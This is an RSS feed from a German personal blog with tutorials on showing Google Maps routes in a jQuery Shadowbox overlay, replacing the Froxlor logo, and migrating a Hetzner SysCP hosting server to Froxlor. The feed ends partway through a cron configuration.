<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>monkey-business.biz &#187; Tutorial</title> <atom:link href="http://www.monkey-business.biz/tag/tutorial/feed/" rel="self" type="application/rss+xml" /><link>http://www.monkey-business.biz</link> <description>Belästigung der Allgemeinheit - der private Weblog</description> <lastBuildDate>Tue, 24 Jan 2012 14:53:33 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>daily</sy:updatePeriod> <sy:updateFrequency>4</sy:updateFrequency> <item><title>Google Maps Routen mit jQuery in Shadowbox anzeigen</title><link>http://www.monkey-business.biz/1896/google-maps-routen-mit-jquery-in-shadowbox-anzeigen/</link> <comments>http://www.monkey-business.biz/1896/google-maps-routen-mit-jquery-in-shadowbox-anzeigen/#comments</comments> <pubDate>Sun, 15 Jan 2012 22:18:53 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Google Maps]]></category> <category><![CDATA[Highlighting]]></category> <category><![CDATA[Javascript]]></category> <category><![CDATA[jQuery]]></category> <category><![CDATA[Shadowbox.js]]></category> <category><![CDATA[target="_blank"]]></category> <category><![CDATA[Tutorial]]></category> <category><![CDATA[Webdesign]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=1896</guid> <description><![CDATA[Dem Besucher die Möglichkeit zu geben die Anfahrt zu einem Unternehmensstandort berechnen zu lassen ist heut zu tage ein muss für jede Unternehmens Webseite. Unschön ist ein weiteres Fenster / Pop-Up das sich öffnet nur um eine Anfahrtsskizze über die Google Maps Funktion anzuzeigen. Im selben Fenster wollen wir Google Maps nicht öffnen. Wir wollen [...]]]></description> <content:encoded><![CDATA[<p>Dem Besucher die Möglichkeit zu geben die Anfahrt zu einem Unternehmensstandort berechnen zu lassen ist heut zu tage ein muss für jede Unternehmens Webseite. Unschön ist ein weiteres Fenster / Pop-Up das sich öffnet nur um eine Anfahrtsskizze über die Google Maps Funktion anzuzeigen. Im selben Fenster wollen wir Google Maps nicht öffnen. Wir wollen den Besucher nicht von der Webseite weg manövrieren.</p><p>Ein Lösungsvorschlag von mir ist das öffnen von Google Maps in einer Highlighting-Box wie der Shadowbox. Als angenehm empfunden haben viele Besucher einen zweiten Link für die Google Routen Berechnung. Bei den Vorhaben seine Anfahrtsroute zu berechnen sollte man dem Besucher nicht im Interface / Platz beschneiden.</p><p>Hierzu habe ich mithilfe von jQuery ein kleines Script geschrieben, das am besten in den Header des Dokumentes, nach dem jQuery Framework und der Shadowbox, eingebunden wird. Ein paar HTML Elemente müssen wir ebenfalls auf der Webseite platzieren um dem Besucher Interaktion zu ermöglichen.</p><p>Das Beispiel auf dieser Seite beeinhaltet die Anzeige der Anfahrt, dargestellt in der Shadowbox, ins Watergate nach Berlin.</p> <input type="text" name="saddr" title="Ihre Adresse" class="input-text" id="google-route-f"> <a href="http://maps.google.de?daddr=Falckensteinstr. 49, 10997 Berlin&amp;&#038;output=embed&#038;iframe=1saddr=" title="Anfahrt anzeigen" id="google-route-b" target="_blank">Anfahrt anzeigen</a>&nbsp;&bull;&nbsp;<a href="http://maps.google.de?daddr=Falckensteinstr. 49, 10997 Berlin&amp;saddr=" title="Route berechnen" id="google-route-d" target="_blank">Route berechnen</a></p><link rel="stylesheet" type="text/css" href="http://www.monkey-business.biz/wp-content/uploads/2011/07/shadowbox/shadowbox.css" /><script type="text/javascript" src="http://www.monkey-business.biz/wp-content/uploads/2011/07/shadowbox/shadowbox.js"></script><script type="text/javascript">
jQuery(document).ready(function() {
Shadowbox.init({
    handleOversize: 'drag',
    modal: true
});
jQuery('#google-route-b').bind('click', function() {
    Shadowbox.open({
	   content: jQuery(this).attr('href')+jQuery('#google-route-f').attr('value'),
  	   player:  'iframe'
   });
   return false;
});
jQuery('#google-route-d').bind('click', function() {
	jQuery(this).attr('href', jQuery(this).attr('href')+jQuery('#google-route-f').attr('value'));
	return true;
});
});
</script><br /> <strong>Fremd Beispiel 2:</strong> &#8220;<a href="http://www.loaden-development.com/psd-zu-wordpress-theme/#kontakt" target="_blank" title="PSD zu WordPress Theme">PSD zu WordPress Theme</a>&#8221; <small>(unten auf der Seite)</small></p><p>Die Einrichtung um Google Maps in der Shadowbox öffnen zu lassen gestaltet sich, wenn man weiß wie, sehr einfach.<br /> Das jQuery Framework und die Shadowbox müssen vor Script Aufruf in das HTML Dokument eingebunden werden. Dies geschieht im Kopfbereich folgerndermaßen:</p><div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">link</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;shadowbox.css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;jquery.js&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">script</span> <span style="color: #000066;">src</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;shadowbox.js&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">script</span>&gt;</span></pre></div></div><p>Aktuelle Downloads findest du hier:</p><ul><li><a href="http://jquery.com/" title="jQuery Framework" target="_blank">jQuery Framework</a></li><li><a href="http://www.shadowbox-js.com/download.html" title="Shadowbox" target="_blank">Shadowbox</a></li></ul><p>Dieses Script bindet das &#8220;click&#8221; Event an den Link und macht es uns möglich nach einem Klick eines Benutzers mit einer eigenen Funktion zu reagieren. In unserer Funktion werden wird der Wert des Formularfeldes ermittelt und als GET Parameter (Adresse) für den iFrame der Shadowbox verwendet.</p><p>Das zweite &#8220;click&#8221; Event öffnet ein neues Fenster / Tab mit der Adresse aus dem Formularfeld für die Google Routen Berechnung.</p><div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">jQuery<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
   Shadowbox.<span style="color: #660066;">init</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
       handleOversize<span style="color: #339933;">:</span> <span style="color: #3366CC;">'drag'</span><span style="color: #339933;">,</span>
       modal<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span>
   <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#google-route-b'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">bind</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'click'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
       Shadowbox.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span>
	   content<span style="color: #339933;">:</span> jQuery<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'href'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#google-route-f'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'value'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
  	   player<span style="color: #339933;">:</span>  <span style="color: #3366CC;">'iframe'</span>
      <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#google-route-d'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">bind</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'click'</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	jQuery<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'href'</span><span style="color: #339933;">,</span> jQuery<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'href'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>jQuery<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#google-route-f'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'value'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>Der Selektor #google-route-b steht hierbei für den Link auf den geklickt werden muss um unser &#8220;Formular&#8221; abzusenden. #google-route-f bezeichnet das Feld mit der Adresse des Besuchers. Die Rückgabe von &#8220;false&#8221; am Ende der Funktion verhindert das öffnen von den Google Routen im selben Fenster.</p><p>#google-route-d kennzeichnet den Link um die Google Routen Berechnung. Nach dem Einfügen der Adresse aus dem Input Feld in den Link wird &#8220;true&#8221; zurück gegeben um dem Browser zu signalisieren weiter mit seiner standard Link Routine zu arbeiten.</p><div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;saddr&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Ihre Adresse&quot;</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;input-text&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;google-route-f&quot;</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://maps.google.de?daddr=***DEINE STRAßE, DEINE STADT***&amp;amp;&amp;output=embed&amp;saddr=&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Anfahrt anzeigen&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;google-route-b&quot;</span> <span style="color: #000066;">target</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;_blank&quot;</span>&gt;</span>Anfahrt anzeigen<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://maps.google.de?daddr=***DEINE STRAßE, DEINE STADT***&amp;amp;saddr=&quot;</span> <span style="color: #000066;">title</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Route berechnen&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;google-route-d&quot;</span> <span style="color: #000066;">target</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;_blank&quot;</span>&gt;</span>Route berechnen<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div><p>***DEINE STRAßE, DEINE STADT*** ist natürlich durch die jeweilige Firmenadresse zu ersetzen.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/1896/google-maps-routen-mit-jquery-in-shadowbox-anzeigen/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Froxlor Provider Logo austauschen</title><link>http://www.monkey-business.biz/1536/froxlor-provider-logo-austauschen/</link> <comments>http://www.monkey-business.biz/1536/froxlor-provider-logo-austauschen/#comments</comments> <pubDate>Thu, 17 Feb 2011 19:34:39 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Froxlor]]></category> <category><![CDATA[Hosting]]></category> <category><![CDATA[Tutorial]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=1536</guid> <description><![CDATA[Das Provider oder Hoster Logo wird in Froxlor unter images/header.gif (/var/www/froxlor/images/header.gif für ehemalige Hetzner SysCP User) zusammen mit einem Stück Header grafik aufbewahrt. Durch ersetzen dieses Bildes kann man sehr leicht sein eigenes Firmenlogo integrieren. Noch eine blanko Vorlage für euch. (wird auf Klick, in neuem Tab, in Originalgröße dargestellt)]]></description> <content:encoded><![CDATA[<p>Das Provider oder Hoster Logo wird in Froxlor unter images/header.gif (/var/www/froxlor/images/header.gif für ehemalige Hetzner SysCP User) zusammen mit einem Stück Header grafik aufbewahrt. Durch ersetzen dieses Bildes kann man sehr leicht sein eigenes Firmenlogo integrieren. Noch eine blanko Vorlage für euch.</p><p><a href="http://www.monkey-business.biz/wp-content/uploads/2011/02/header.gif" target="_blank" title="Froxlor Logo Header blanko"><img src="http://www.monkey-business.biz/wp-content/uploads/2011/02/header-150x90.gif" alt="Froxlor Logo Header blanko" title="Froxlor Logo Header blanko" width="150" height="90" class="alignnone size-thumbnail wp-image-1541" /></a><br /> (wird auf Klick, in neuem Tab, in Originalgröße dargestellt)</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/1536/froxlor-provider-logo-austauschen/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Von Hetzner SysCP Image zu Froxlor</title><link>http://www.monkey-business.biz/1474/von-hetzner-syscp-image-zu-froxlor/</link> <comments>http://www.monkey-business.biz/1474/von-hetzner-syscp-image-zu-froxlor/#comments</comments> <pubDate>Wed, 16 Feb 2011 02:23:38 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Administration]]></category> <category><![CDATA[Debian]]></category> <category><![CDATA[Froxlor]]></category> <category><![CDATA[Hetzner]]></category> <category><![CDATA[Hosting]]></category> <category><![CDATA[SysCP]]></category> <category><![CDATA[Tutorial]]></category><guid isPermaLink="false">http://www.monkey-business.biz/?p=1474</guid> <description><![CDATA[Ich möchte vorweg darauf hinweisen, das es bei mir bei dem Update heute nacht um 3 Uhr etwas turbulent zur Sache ging. Keine der Anleitungen die ich online gefunden hatte hatten ihr Froxlor Installationen nach dem Upgrade von SysCP überprüft. Keine dieser Anleitungen verlief Fehlerlos bzw. ohne Folgefehler durch Konfigurationsfehler. Der Server sollte natürlich bis [...]]]></description> <content:encoded><![CDATA[<p>Ich möchte vorweg darauf hinweisen, das es bei mir bei dem Update heute nacht um 3 Uhr etwas turbulent zur Sache ging. Keine der Anleitungen die ich online gefunden hatte hatten ihr Froxlor Installationen nach dem Upgrade von SysCP überprüft. Keine dieser Anleitungen verlief Fehlerlos bzw. ohne Folgefehler durch Konfigurationsfehler. Der Server sollte natürlich bis morgens wieder für Hosting Kunden nutzbar funktionieren. Ich hoffe dieser Ärger bleibt euch mit diesem Tutorial erspart.</p><h3>Vorwort</h3><ul><li>Es wird eine funktionsfähige Hetzner SysCP Image Installtion benötigt (SysCP Root: /var/syscp/web/)</li><li>Der gesamte Installationsvorgang findet über eine SSH Verbindung auf dem Server statt</li><li>Allgemein gilt in diesem Tutorial <NAME> immer durch die entsprechenden Werte zu ersetzen</li></ul><h3>Update Vorbereitungen</h3><ul><li> <strong>SysCP sichern</strong><br /> Zunächst sollten alle Daten von SysCP gesichert werden. Ebenso machen wir ein Backup von /etc/ da wir hier im zuge des Upgrades auch Änderungen vornehmen werden. Wir nutzen für das SysCP Datenbank Backup die Option &#8220;&#8211;add-drop-table&#8221; um ein löschen der alten Inhalte vor dem einspielen der neuen auszulösen. Diese Option benötigen wir da wir im zuge des Updates den veränderten SysCP SQL Dump in diese selbe Datenbank wieder einspielen. Eure MySQL Zugangsdaten findet ihr in der SysCP Konfiguration (/var/syscp/lib/userdata.inc.php /).</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /etc/ /root/etc_bak/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cd /var/syscp/web/</span>
EMP-S:<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>syscp<span style="color: #000000; font-weight: bold;">/</span>web<span style="color: #000000; font-weight: bold;">/</span><span style="color: #666666; font-style: italic;"># cp -rp * ../../syscp_bak/</span>
EMP-S:<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>syscp<span style="color: #000000; font-weight: bold;">/</span>web<span style="color: #000000; font-weight: bold;">/</span><span style="color: #666666; font-style: italic;"># mysqldump --databases --opt -Q -u&lt;USERNAME&gt; -p&lt;PASSWORT&gt; --add-drop-table syscp &gt; ../../syscp_bak/db.sql</span></pre></div></div></li><li> <strong>sources.list erweitern</strong></li><p>Die Datei /etc/apt/sources.list um erweitern um:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">deb      http:<span style="color: #000000; font-weight: bold;">//</span>debian.froxlor.org lenny main
deb-src  http:<span style="color: #000000; font-weight: bold;">//</span>debian.froxlor.org lenny main</pre></div></div><p>Kommando zum öffnen der Datei (erspart Tipparbeit):</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># nano /etc/apt/sources.list</span></pre></div></div></li><li> <strong>SysCP Cronjobs deaktivieren</strong><br /> Durch auskommentieren der Konfiguration deaktivieren wir die SysCP Cronjobs.<br /> Kommando zum öffnen der Datei:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># nano /etc/cron.d/syscp</span></pre></div></div><p>Dateinhalt nach der Bearbeitung:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Set PATH, otherwise restart-scripts won't find start-stop-daemon</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Regular cron jobs for the syscp package</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;">#00 */1 * * *   root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_tasks.php</span>
<span style="color: #666666; font-style: italic;">#0 0 * * *      root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_traffic.php</span>
<span style="color: #666666; font-style: italic;">#30 0 * * *     root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_ticketarchive.php</span>
<span style="color: #666666; font-style: italic;">#0 1 * * *      root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_used_tickets_reset.php</span>
<span style="color: #666666; font-style: italic;">#00 */1 * * *   root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_autoresponder.php</span>
<span style="color: #666666; font-style: italic;">#00 */1 * * *   root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_apsinstaller.php</span>
<span style="color: #666666; font-style: italic;">#*/15 * * * *   root    /usr/bin/php5 -q /var/syscp/web/scripts/cron_apsupdater.php</span></pre></div></div></li><li> <strong>SQL Dump für Froxlor aufbereiten</strong><br /> Hierbei ersetzen wir den Pfad /var/syscp/web/ mit /var/www/froxlor/ und den Pfad /var/syscp/ mit /var/www/ in einer Kopie unseren SysCP SQL Dumps.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># cd /var/sycp_bak/</span>
EMP-S:<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>sycp_bak<span style="color: #000000; font-weight: bold;">/</span><span style="color: #666666; font-style: italic;"># cp db.sql db_new.sql</span>
EMP-S:<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>sycp_bak<span style="color: #000000; font-weight: bold;">/</span><span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\/web\//\/var\/www\/froxlor\//g' db_new.sql</span>
EMP-S:<span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>sycp_bak<span style="color: #000000; font-weight: bold;">/</span><span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\//\/var\/www\//g' db_new.sql</span></pre></div></div></li></ul><h3>Froxlor Installieren</h3><ul><li> <strong>Froxlor Installation über APT Paketmanagement System</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># apt-get update</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># apt-get install froxlor</span></pre></div></div></li><li> <strong>Besitzer und Gruppe des Froxlor Verzeichnisses anpassen</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># chown -R www-data:www-data /var/www/froxlor/</span></pre></div></div></li><li> <strong>Alte SysCP Konfiguration in Froxlor nutzen</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># cp /var/syscp_bak/lib/userdata.inc.php /var/www/froxlor/lib/</span></pre></div></div></li><li> <strong>Bearbeitete Kopie der SysCP Datenbank für Froxlor einspielen</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># mysql -u&lt;USERNAME&gt; -p&lt;PASSWORT&gt;</span>
mysql<span style="color: #000000; font-weight: bold;">&gt;</span> use syscp  
mysql<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #7a0874; font-weight: bold;">source</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>syscp_bak<span style="color: #000000; font-weight: bold;">/</span>db_new.sql</pre></div></div></li><li> <strong>Symlinks für phpMyAdmin und Squirrelmail erstellen</strong></p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># ln -s /usr/share/phpmyadmin/ /var/www/phpmyadmin</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># ln -s /usr/share/squirrelmail/ /var/www/squirrelmail</span></pre></div></div></li><li> <strong>Verzeichnisse kopieren</strong><br /> Wichtig ist hierbei Rechte und Benutzer beizubehalten. Die User Unterverzeichnise in fcgi/ logs/, tmp/ und webs/ sollten den entsprechenden fcgi Benutzer (Kunden) gehören. Das Verzeichnis mails/ dem Benuter vmail.  Das bewirkt die Option -p beim Kopieren mit cp.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/fcgi/ /var/www/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/logs/ /var/www/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/mails/ /var/www/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/tmp/ /var/www/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/webs/ /var/www/</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># cp -rp /var/syscp/squirrelmail/ /var/www/</span></pre></div></div></li><li> <strong>Apache Konfiguration für Froxlor anpassen</strong><br /> Hierbei muss der Pfad /var/syscp/web/ in /var/www/froxlor geändert werden. Der Ordnung halber ist es empfehlenswert die Konfigurationsdatei entsprechend umzubenennen und den Symbolischen Link auf die Konfiguration zu ändern.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\/web\//\/var\/www\/froxlor\//g' /etc/apache2/sites-available/syscp</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># mv /etc/apache2/sites-available/syscp /etc/apache2/sites-available/froxlor</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># rm /etc/apache2/sites-enabled/00-syscp</span>
EMP-S:~<span style="color: #666666; font-style: italic;"># ln -s /etc/apache2/sites-available/froxlor /etc/apache2/sites-enabled/froxlor</span></pre></div></div></li><li> <strong>Suexec Pfade für Froxlor anpassen</strong><br /> In der Datei /etc/apache2/suexec/www-data den Pfad /var/syscp/ in /var/www/ ändern.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\//\/var\/www\//g' /etc/apache2/suexec/www-data</span></pre></div></div></li><li> <strong>Postfix Konfiguration für Froxlor anpassen</strong><br /> Konfigurations Option virtual_mailbox_base in /etc/postfix/main.cf von /var/syscp/mails/ in /var/www/mails/ ändern.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\/mails\//\/var\/www\/mails\//g' /etc/postfix/main.cf</span></pre></div></div></li><li> <strong>Squirrelmail Konfiguration für Froxlor anpassen</strong><br /> Die Pfade /var/syscp/squirrelmail/data/ und /var/syscp/squirrelmail/attach/ müssen in der Datei auf /var/www/squirrelmail/*/ angepasst werden.</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># sed -i 's/\/var\/syscp\//\/var\/www\//g' /etc/squirrelmail/config.php</span></pre></div></div><p><strong>Anmerkung</strong><br /> In dieser Datei können Providername, Logo und dergleichen für Squirrelmail angepasst werden. Nutzt die Gelegenheit sonst macht ihr das nie.</li><li> <strong>Froxlor Cronjob erstellen</strong><br /> Wir erstellen die Datei /etc/cron.d/froxlor</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">EMP-S:~<span style="color: #666666; font-style: italic;"># nano /etc/cron.d/froxlor</span></pre></div></div><p>und füllen sie mit den Werten für die Froxlor Cronjobs:</p><div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Set PATH, otherwise restart-scripts won't find start-stop-daemon</span>
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #007800;">PATH</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>bin:<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>bin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>sbin:<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin
<span style="color: #666666; font-style: italic;">#</span>
<span style="color: #666666; font-style: italic;"># Regular cron jobs for the froxlor package</span>
<span style="color: #666666; font-style: italic;">#</span>
